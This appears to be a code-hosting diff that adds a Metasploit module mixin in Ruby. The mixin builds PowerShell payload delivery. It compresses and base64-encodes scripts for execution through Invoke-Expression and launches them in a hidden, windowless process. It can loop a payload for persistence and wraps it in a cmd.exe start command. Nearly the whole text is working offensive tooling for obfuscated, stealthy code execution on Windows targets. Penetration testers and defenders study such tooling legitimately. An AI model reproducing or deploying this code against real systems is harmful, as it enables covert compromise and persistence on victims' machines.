|
| 1 | +# -*- coding: binary -*- |
| 2 | +require 'zlib' |
| 3 | + |
| 4 | +module Msf |
| 5 | +module Exploit::Powershell |
| 6 | + |
| 7 | + def initialize(info = {}) |
| 8 | + super |
| 9 | + register_options( |
| 10 | + [ |
| 11 | + OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), |
| 12 | + OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), |
| 13 | + OptBool.new('RUN_WOW64', [ |
| 14 | + true, |
| 15 | + 'Execute powershell in 32bit compatibility mode, payloads need native arch', |
| 16 | + false |
| 17 | + ]), |
| 18 | + ], self.class) |
| 19 | + end |
| 20 | + |
| 21 | + # |
| 22 | + # Insert substitutions into the powershell script |
| 23 | + # |
| 24 | + def make_subs(script, subs) |
| 25 | + if ::File.file?(script) |
| 26 | + script = ::File.read(script) |
| 27 | + end |
| 28 | + |
| 29 | + subs.each do |set| |
| 30 | + script.gsub!(set[0],set[1]) |
| 31 | + end |
| 32 | + if datastore['VERBOSE'] |
| 33 | + print_good("Final Script: ") |
| 34 | + script.each_line {|l| print_status("\t#{l}")} |
| 35 | + end |
| 36 | + return script |
| 37 | + end |
| 38 | + |
| 39 | + # |
| 40 | + # Return an array of substitutions for use in make_subs |
| 41 | + # |
| 42 | + def process_subs(subs) |
| 43 | + return [] if subs.nil? or subs.empty? |
| 44 | + new_subs = [] |
| 45 | + subs.split(';').each do |set| |
| 46 | + new_subs << set.split(',', 2) |
| 47 | + end |
| 48 | + return new_subs |
| 49 | + end |
| 50 | + |
| 51 | + # |
| 52 | + # Read in a powershell script stored in +script+ |
| 53 | + # |
| 54 | + def read_script(script) |
| 55 | + script_in = '' |
| 56 | + begin |
| 57 | + # Open script file for reading |
| 58 | + fd = ::File.new(script, 'r') |
| 59 | + while (line = fd.gets) |
| 60 | + script_in << line |
| 61 | + end |
| 62 | + |
| 63 | + # Close open file |
| 64 | + fd.close() |
| 65 | + rescue Errno::ENAMETOOLONG, Errno::ENOENT |
| 66 | + # Treat script as a... script |
| 67 | + script_in = script |
| 68 | + end |
| 69 | + return script_in |
| 70 | + end |
| 71 | + |
| 72 | + |
| 73 | + # |
| 74 | + # Return a zlib compressed powershell script |
| 75 | + # |
| 76 | + def compress_script(script_in, eof = nil) |
| 77 | + |
| 78 | + # Compress using the Deflate algorithm |
| 79 | + compressed_stream = ::Zlib::Deflate.deflate(script_in, |
| 80 | + ::Zlib::BEST_COMPRESSION) |
| 81 | + |
| 82 | + # Base64 encode the compressed file contents |
| 83 | + encoded_stream = Rex::Text.encode_base64(compressed_stream) |
| 84 | + |
| 85 | + # Build the powershell expression |
| 86 | + # Decode base64 encoded command and create a stream object |
| 87 | + psh_expression = "$stream = New-Object IO.MemoryStream(," |
| 88 | + psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" |
| 89 | + # Read & delete the first two bytes due to incompatibility with MS |
| 90 | + psh_expression << "$stream.ReadByte()|Out-Null;" |
| 91 | + psh_expression << "$stream.ReadByte()|Out-Null;" |
| 92 | + # Uncompress and invoke the expression (execute) |
| 93 | + psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" |
| 94 | + psh_expression << "$(New-Object IO.Compression.DeflateStream(" |
| 95 | + psh_expression << "$stream," |
| 96 | + psh_expression << "[IO.Compression.CompressionMode]::Decompress))," |
| 97 | + psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" |
| 98 | + |
| 99 | + # If eof is set, add a marker to signify end of script output |
| 100 | + if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end |
| 101 | + |
| 102 | + # Convert expression to unicode |
| 103 | + unicode_expression = Rex::Text.to_unicode(psh_expression) |
| 104 | + |
| 105 | + # Base64 encode the unicode expression |
| 106 | + encoded_expression = Rex::Text.encode_base64(unicode_expression) |
| 107 | + |
| 108 | + return encoded_expression |
| 109 | + end |
| 110 | + |
| 111 | + # |
| 112 | + # Runs powershell in hidden window raising interactive proc msg |
| 113 | + # |
| 114 | + def run_hidden_psh(ps_code,ps_bin='powershell.exe') |
| 115 | + ps_args = " -EncodedCommand #{ compress_script(ps_code) } " |
| 116 | + |
| 117 | + ps_wrapper = <<EOS |
| 118 | +$si = New-Object System.Diagnostics.ProcessStartInfo |
| 119 | +$si.FileName = "#{ps_bin}" |
| 120 | +$si.Arguments = '#{ps_args}' |
| 121 | +$si.UseShellExecute = $false |
| 122 | +$si.RedirectStandardOutput = $true |
| 123 | +$si.WindowStyle = 'Hidden' |
| 124 | +$si.CreateNoWindow = $True |
| 125 | +$p = [System.Diagnostics.Process]::Start($si) |
| 126 | +EOS |
| 127 | + |
| 128 | + return ps_wrapper |
| 129 | + end |
| 130 | + |
| 131 | + # |
| 132 | + # Creates cmd script to execute psh payload |
| 133 | + # |
| 134 | + def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64']) |
| 135 | + # Allow powershell 1.0 format |
| 136 | + if old_psh |
| 137 | + psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) |
| 138 | + else |
| 139 | + psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) |
| 140 | + end |
| 141 | + # Run our payload in a while loop |
| 142 | + if datastore['PERSIST'] |
| 143 | + fun_name = Rex::Text.rand_text_alpha(rand(2)+2) |
| 144 | + sleep_time = rand(5)+5 |
| 145 | + psh_payload = "function #{fun_name}{#{psh_payload}};" |
| 146 | + psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" |
| 147 | + end |
| 148 | + # Determine appropriate architecture |
| 149 | + ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' |
| 150 | + # Wrap in hidden runtime |
| 151 | + psh_payload = run_hidden_psh(psh_payload,ps_bin) |
| 152 | + # Convert to base64 for -encodedcommand execution |
| 153 | + command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n" |
| 154 | + end |
| 155 | + |
| 156 | + # |
| 157 | + # Convert binary to byte array, read from file if able |
| 158 | + # |
| 159 | + def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) |
| 160 | + code = ::File.file?(input_data) ? ::File.read(input_data) : input_data |
| 161 | + code = code.unpack('C*') |
| 162 | + psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" |
| 163 | + lines = [] |
| 164 | + 1.upto(code.length-1) do |byte| |
| 165 | + if(byte % 10 == 0) |
| 166 | + lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" |
| 167 | + else |
| 168 | + lines.push ",0x#{code[byte].to_s(16)}" |
| 169 | + end |
| 170 | + end |
| 171 | + psh << lines.join("") + "\r\n" |
| 172 | + end |
| 173 | + |
| 174 | + |
| 175 | + |
| 176 | +end |
| 177 | +end |
| 178 | + |
0 commit comments